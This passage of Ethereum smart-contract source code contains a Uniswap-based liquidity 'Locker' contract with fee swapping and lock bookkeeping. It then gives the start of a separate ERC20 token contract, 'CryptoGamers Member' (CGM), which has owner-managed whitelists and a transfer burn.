function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
//!! Locker does not support locks for rebasing tokens or fee tokens!
//!! Meant to be used for only standard ERC20 tokens
contract Locker is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
// --------- Contract Variables ---------
uint public constant MAX_LOCK_DURATION = 365 days;
address public constant PLATFORM_TOKEN = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
// Minimum basetoken value (eg. 1.8%) should be transferred to contract
// to create a lock, there's no max, any amount may be transferred for max
uint public constant MINIMUM_BASETOKEN_PERCENT_ETH_X_100 = 100;
uint public constant ONE_HUNDRED_X_100 = 10000;
uint public constant SLIPPAGE_TOLERANCE_X_100 = 300;
// -------- END Contract Variables ------
event Locked(uint indexed id, address indexed token, address indexed recipient, uint amount, uint unlockTimestamp, uint platformTokensLocked, bool claimed);
event Unlocked(uint indexed id, address indexed token, address indexed recipient, uint amount, uint unlockTimestamp, uint platformTokensLocked, bool claimed);
struct Lock {
address token;
uint unlockTimestamp;
uint amount;
address recipient;
bool claimed;
uint platformTokensLocked;
}
uint public locksLength;
// token => balance
mapping (address => uint) public tokenBalances;
// lock id => Lock
mapping (uint => Lock) public locks;
EnumerableSet.AddressSet private lockedTokens;
EnumerableSet.AddressSet private baseTokens;
EnumerableSet.UintSet private activeLockIds;
EnumerableSet.UintSet private inactiveLockIds;
mapping (address => EnumerableSet.UintSet) private activeLockIdsByRecipient;
mapping (address => EnumerableSet.UintSet) private activeLockIdsByToken;
mapping (address => EnumerableSet.UintSet) private inactiveLockIdsByRecipient;
mapping (address => EnumerableSet.UintSet) private inactiveLockIdsByToken;
// Contracts are not allowed to execute functions
modifier noContractsAllowed() {
require(!(address(msg.sender).isContract()) && tx.origin == msg.sender, "No Contracts Allowed!");
_;
}
IUniswapV2Router02 public uniswapRouterV2;
constructor() public {
uniswapRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
addBaseToken(uniswapRouterV2.WETH());
}
function getActiveLockIdsLength() external view returns (uint) {
return activeLockIds.length();
}
function getActiveLockIds(uint startIndex, uint endIndex) external view returns (uint[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= activeLockIds.length(), "Invalid endIndex!");
result = new uint[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = activeLockIds.at(startIndex.add(i));
}
}
function getInactiveLockIdsLength() external view returns (uint) {
return inactiveLockIds.length();
}
function getInactiveLockIds(uint startIndex, uint endIndex) external view returns (uint[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= inactiveLockIds.length(), "Invalid endIndex!");
result = new uint[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = inactiveLockIds.at(startIndex.add(i));
}
}
function getInactiveLockIdsLengthByToken(address token) external view returns (uint) {
return inactiveLockIdsByToken[token].length();
}
function getInactiveLockIdsByToken(address token, uint startIndex, uint endIndex) external view returns (uint[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= inactiveLockIdsByToken[token].length(), "Invalid endIndex!");
result = new uint[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = inactiveLockIdsByToken[token].at(startIndex.add(i));
}
}
function getInactiveLockIdsLengthByRecipient(address recipient) external view returns (uint) {
return inactiveLockIdsByRecipient[recipient].length();
}
function getInactiveLockIdsByRecipient(address recipient, uint startIndex, uint endIndex) external view returns (uint[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= inactiveLockIdsByRecipient[recipient].length(), "Invalid endIndex!");
result = new uint[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = inactiveLockIdsByRecipient[recipient].at(startIndex.add(i));
}
}
function getActiveLockIdsLengthByToken(address token) external view returns (uint) {
return activeLockIdsByToken[token].length();
}
function getActiveLockIdsByToken(address token, uint startIndex, uint endIndex) external view returns (uint[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= activeLockIdsByToken[token].length(), "Invalid endIndex!");
result = new uint[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = activeLockIdsByToken[token].at(startIndex.add(i));
}
}
function getActiveLockIdsLengthByRecipient(address recipient) external view returns (uint) {
return activeLockIdsByRecipient[recipient].length();
}
function getActiveLockIdsByRecipient(address recipient, uint startIndex, uint endIndex) external view returns (uint[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= activeLockIdsByRecipient[recipient].length(), "Invalid endIndex!");
result = new uint[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = activeLockIdsByRecipient[recipient].at(startIndex.add(i));
}
}
function getBaseTokensLength() external view returns (uint) {
return baseTokens.length();
}
function getBaseTokens(uint startIndex, uint endIndex) external view returns (address[] memory result) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= baseTokens.length(), "Invalid endIndex!");
result = new address[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
result[i] = baseTokens.at(startIndex.add(i));
}
}
function createLock(address pair, address baseToken, uint amount, uint unlockTimestamp) external noContractsAllowed nonReentrant payable {
require(amount > 0, "Cannot lock 0 liquidity!");
require(unlockTimestamp.sub(block.timestamp) <= MAX_LOCK_DURATION, "Cannot lock for too long!");
IUniswapV2Pair _pair = IUniswapV2Pair(pair);
require(_pair.token0() == baseToken || _pair.token1() == baseToken, "Base token does not exist in pair!");
require(baseTokens.contains(baseToken), "Base token does not exist!");
uint minLockCreationFee = getMinLockCreationFeeInWei(pair, baseToken, amount);
require(minLockCreationFee > 0, "Trying to lock too small amount!");
require(msg.value >= minLockCreationFee, "Insufficient Ether fee sent!");
transferTokenIn(pair, _msgSender(), amount);
uint oldPlatformTokenBalance = IERC20(PLATFORM_TOKEN).balanceOf(address(this));
// --- swap eth to platform token here! ----
address[] memory path = new address[](2);
path[0] = uniswapRouterV2.WETH();
path[1] = PLATFORM_TOKEN;
uint estimatedAmountOut = uniswapRouterV2.getAmountsOut(msg.value, path)[1];
uint amountOutMin = estimatedAmountOut.mul(ONE_HUNDRED_X_100.sub(SLIPPAGE_TOLERANCE_X_100)).div(ONE_HUNDRED_X_100);
uniswapRouterV2.swapExactETHForTokens{value: msg.value}(amountOutMin, path, address(this), block.timestamp);
// ---- end swap eth to plaform tokens -----
uint newPlatformTokenBalance = IERC20(PLATFORM_TOKEN).balanceOf(address(this));
uint platformTokensLocked = newPlatformTokenBalance.sub(oldPlatformTokenBalance);
require(platformTokensLocked > 0, "0 platform tokens swapped!");
addPlatformTokenBalance(platformTokensLocked);
// ------- create the lock below -------
locksLength = locksLength.add(1);
Lock memory lock;
lock.recipient = _msgSender();
lock.unlockTimestamp = unlockTimestamp;
lock.amount = lock.amount.add(amount);
lock.token = pair;
lock.platformTokensLocked = platformTokensLocked;
locks[locksLength] = lock;
addActiveLockId(locksLength);
// ------- end create the lock -------
emit Locked(locksLength, pair, _msgSender(), amount, unlockTimestamp, platformTokensLocked, lock.claimed);
}
function claimUnlocked(uint lockId) external noContractsAllowed nonReentrant {
require(activeLockIds.contains(lockId), "Lock not yet active!");
require(!locks[lockId].claimed, "Already claimed!");
require(locks[lockId].recipient == _msgSender(), "Invalid lock recipient");
require(block.timestamp >= locks[lockId].unlockTimestamp, "Not yet unlocked! Please wait till unlock time!");
locks[lockId].claimed = true;
transferTokenOut(locks[lockId].token, locks[lockId].recipient, locks[lockId].amount);
IERC20(PLATFORM_TOKEN).safeTransfer(locks[lockId].recipient, locks[lockId].platformTokensLocked);
deductPlatformTokenBalance(locks[lockId].platformTokensLocked);
removeActiveLockId(lockId);
emit Unlocked(lockId, locks[lockId].token, locks[lockId].recipient, locks[lockId].amount, locks[lockId].unlockTimestamp, locks[lockId].platformTokensLocked, locks[lockId].claimed);
}
function transferTokenOut(address token, address recipient, uint amount) private {
IERC20(token).safeTransfer(recipient, amount);
tokenBalances[token] = tokenBalances[token].sub(amount);
if (tokenBalances[token] == 0) {
lockedTokens.remove(token);
}
}
function transferTokenIn(address token, address from, uint amount) private {
IERC20(token).safeTransferFrom(from, address(this), amount);
tokenBalances[token] = tokenBalances[token].add(amount);
lockedTokens.add(token);
}
function addPlatformTokenBalance(uint amount) private {
tokenBalances[PLATFORM_TOKEN] = tokenBalances[PLATFORM_TOKEN].add(amount);
}
function deductPlatformTokenBalance(uint amount) private {
tokenBalances[PLATFORM_TOKEN] = tokenBalances[PLATFORM_TOKEN].sub(amount);
}
function addBaseToken(address baseToken) public onlyOwner {
baseTokens.add(baseToken);
}
function removeBaseToken(address baseToken) public onlyOwner {
baseTokens.remove(baseToken);
}
function addActiveLockId(uint lockId) private {
activeLockIds.add(lockId);
activeLockIdsByRecipient[locks[lockId].recipient].add(lockId);
activeLockIdsByToken[locks[lockId].token].add(lockId);
}
function removeActiveLockId(uint lockId) private {
activeLockIds.remove(lockId);
activeLockIdsByRecipient[locks[lockId].recipient].remove(lockId);
activeLockIdsByToken[locks[lockId].token].remove(lockId);
inactiveLockIds.add(lockId);
inactiveLockIdsByRecipient[locks[lockId].recipient].add(lockId);
inactiveLockIdsByToken[locks[lockId].token].add(lockId);
}
function claimExtraTokens(address token) external onlyOwner {
uint diff = IERC20(token).balanceOf(address(this)).sub(tokenBalances[token]);
IERC20(token).safeTransfer(_msgSender(), diff);
}
receive () external payable {
// receive eth do nothing
}
// No ETH should remain on the contract
// If remaining, owner may transfer out ETH
function claimEther() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
function getLockedTokensLength() external view returns (uint) {
return lockedTokens.length();
}
function getLockedTokens(uint startIndex, uint endIndex) external view returns (address[] memory tokens) {
require(endIndex > startIndex, "Invalid indexes provided!");
require(endIndex <= lockedTokens.length(), "Invalid endIndex!");
tokens = new address[](endIndex.sub(startIndex));
for (uint i = 0; i < endIndex.sub(startIndex); i = i.add(1)) {
tokens[i] = lockedTokens.at(startIndex.add(i));
}
}
function getTokensBalances(address[] memory tokens) external view returns (uint[] memory balances) {
balances = new uint[](tokens.length);
for (uint i = 0; i < tokens.length; i = i.add(1)) {
balances[i] = tokenBalances[tokens[i]];
}
}
function getLockById(uint id) public view returns (
address token,
uint unlockTimestamp,
uint amount,
address recipient,
bool claimed,
uint platformTokensLocked
) {
token = locks[id].token;
unlockTimestamp = locks[id].unlockTimestamp;
amount = locks[id].amount;
recipient = locks[id].recipient;
claimed = locks[id].claimed;
platformTokensLocked = locks[id].platformTokensLocked;
}
function getLocksByIds(uint[] memory ids) public view returns (
uint[] memory _ids,
address[] memory tokens,
uint[] memory unlockTimestamps,
uint[] memory amounts,
address[] memory recipients,
bool[] memory claimeds,
uint[] memory platformTokensLockeds
) {
_ids = ids;
tokens = new address[](ids.length);
unlockTimestamps = new uint[](ids.length);
amounts = new uint[](ids.length);
recipients = new address[](ids.length);
claimeds = new bool[](ids.length);
platformTokensLockeds = new uint[](ids.length);
for (uint i = 0; i < ids.length; i = i.add(1)) {
(address token, uint unlockTimestamp, uint amount, address recipient, bool claimed, uint platformTokensLocked) = getLockById(ids[i]);
tokens[i] = token;
unlockTimestamps[i] = unlockTimestamp;
amounts[i] = amount;
recipients[i] = recipient;
claimeds[i] = claimed;
platformTokensLockeds[i] = platformTokensLocked;
}
}
function getMinLockCreationFeeInWei(address pair, address baseToken, uint amount) public view returns (uint) {
uint baseTokenBalance = IERC20(baseToken).balanceOf(pair);
uint totalSupply = IERC20(pair).totalSupply();
uint baseTokenInReceivedLP = baseTokenBalance.mul(amount).div(totalSupply);
uint feeBaseToken = baseTokenInReceivedLP.mul(MINIMUM_BASETOKEN_PERCENT_ETH_X_100).div(ONE_HUNDRED_X_100);
if (baseToken == uniswapRouterV2.WETH()) return feeBaseToken;
address[] memory path = new address[](2);
path[0] = baseToken;
path[1] = uniswapRouterV2.WETH();
uint ethAmount = uniswapRouterV2.getAmountsOut(feeBaseToken, path)[1];
return ethAmount;
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CGM is Context, IERC20,Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
event WhitelistFrom(address _addr, bool _whitelisted);
event WhitelistTo(address _addr, bool _whitelisted);
mapping(address => bool) public whitelistFrom;
mapping(address => bool) public whitelistTo;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint8 private burnPercent = 5;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "CryptoGamers Member";
_symbol = "CGM";
_decimals = 18;
_totalSupply = 420000 * (10**_decimals);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function _isWhitelisted(address _from, address _to) internal view returns (bool) {
return whitelistFrom[_from]||whitelistTo[_to];
}
function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistTo(_addr, _whitelisted);
whitelistTo[_addr] = _whitelisted;
}
function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistFrom(_addr, _whitelisted);
whitelistFrom[_addr] = _whitelisted;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if (!_isWhitelisted(sender,recipient)) {
_burnPerTransfer(recipient,amount);
}
return true;
}
/**
